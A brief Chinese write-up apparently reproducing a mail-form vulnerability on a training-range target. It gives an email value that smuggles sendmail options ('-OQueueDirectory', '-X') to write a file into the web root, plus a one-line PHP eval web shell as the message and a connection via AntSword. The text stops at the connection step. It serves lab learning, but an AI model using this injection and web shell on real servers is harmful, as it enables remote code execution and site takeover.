漏洞复现：https://www.mozhe.cn/bug/detail/124

启动环境后，界面如下：

拉到最下面，有个mail contact。

进入http://219.153.49.228:42901/mail.php。

name处随便填。

email写成："aaa". -OQueueDirectory=/tmp/. -X/var/www/html/a.php @aaa.com

message：<?php @eval($_POST['a']); ?>

burp抓包，发送

http://219.153.49.228:42901/a.php

蚁剑连接：